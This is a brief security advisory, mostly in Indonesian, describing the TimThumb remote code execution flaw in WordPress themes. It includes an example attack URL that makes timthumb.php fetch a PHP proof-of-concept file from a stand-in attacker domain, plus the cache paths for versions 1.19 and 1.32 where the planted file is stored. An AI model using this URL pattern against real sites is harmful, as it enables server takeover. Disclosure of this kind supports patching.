-:: The Advisory ::-
TimThumb rentan terhadap kerentanan eksekusi kode jauh, karena
Script tidak memeriksa cache file dari jarak jauh dengan baik. Dengan menyusun
citra khusus file dengan tipe MIME yang valid, dan menambahkan sebuah file PHP di
akhir ini, adalah mungkin untuk menipu TimThumb menjadi percaya bahwa itu
adalah gambar yang sah, sehingga cache secara lokal di direktori cache.
Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the ‘src’ GET-request – Hashed in MD5 format.
